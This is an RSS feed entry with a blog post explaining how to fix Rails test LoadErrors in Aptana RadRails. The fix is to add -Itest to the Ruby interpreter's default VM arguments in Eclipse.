			<content:encoded><![CDATA[<p>Since moving to more recent versions of Rails, I&#8217;ve noticed that the auto-generated Rails tests assume that the <span style="font-style: italic" class="Apple-style-span">myapp/test</span> directory is on the load path.  And the bundled Rake testing tasks do indeed take care of that requirement.  But the Aptana RadRails plugins for Eclipse don&#8217;t.  The result is that whenever you run a test, either with the test buttons or the <span style="font-style: italic" class="Apple-style-span">Run As | Test::UnitTest</span> context menu, you get something like the following:
<pre>./test/unit/user_test.rb:1:in `require': no such file to load -- test_helper (LoadError)</pre>
<p>There is an open issue on the <a href="http://forums.aptana.com/viewtopic.php?t=5861" title="Aptana Issue Tracker" target="_blank">Aptana issue tracker</a>, but it doesn&#8217;t seem to be resolved yet.  Some people have suggested prefixing your requires with the <span style="font-style: italic" class="Apple-style-span">test</span> directory when requiring the test_helper file at the start of your test files -but I don&#8217;t think that&#8217;s a good solution, especially if you&#8217;re working with multiple developers.  Frustrated by not getting my daily green bar fix, I found this work-around:
<ol>
<li>From the Eclipse Preferences option, choose <span style="font-style: italic" class="Apple-style-span">Ruby | Installed Interpreters</span></li>
<li>Select your interpreter (I use the <span style="font-style: italic" class="Apple-style-span">Standard VM</span> default interpreter named <span style="font-style: italic" class="Apple-style-span">usr</span>) and choose &#8216;Edit&#8217;. </li>
<li>Add <span style="font-style: italic" class="Apple-style-span">-Itest</span> to the <span style="font-style: italic" class="Apple-style-span">Default VM Arguments</span> option.  Don&#8217;t forget the leading dash!</li>
<li>Click &#8216;OK&#8217;. </li>
</ol>
<p>You should now be able to run your tests without having to edit each one to include the test directory.  The downside is that you now have an &#8216;extra&#8217; directory in your load path which will give you a (tiny) performance hit to all your ruby ops -not just tests.  Conceivably this could also introduce an incompatibility if you have some conflicting stuff in the test directory -extremely unlikely if you only have <span style="font-style: italic" class="Apple-style-span">test_helper.rb </span>in there.
<p style="text-align: left">Tested against Edge Rails (d37e6413366c9a3fafa02c4298a2946dc8327a42), Aptana RadRails 1.0.3.200807071913NGT, Ruby 1.8.6 patchlevel 114 running under Darwin 9.4.0</p>
]]></content:encoded>
			<wfw:commentRss>http://cho.hapgoods.com/wordpress/?feed=rss2&amp;p=161</wfw:commentRss>
		</item>
	</channel>
</rss>
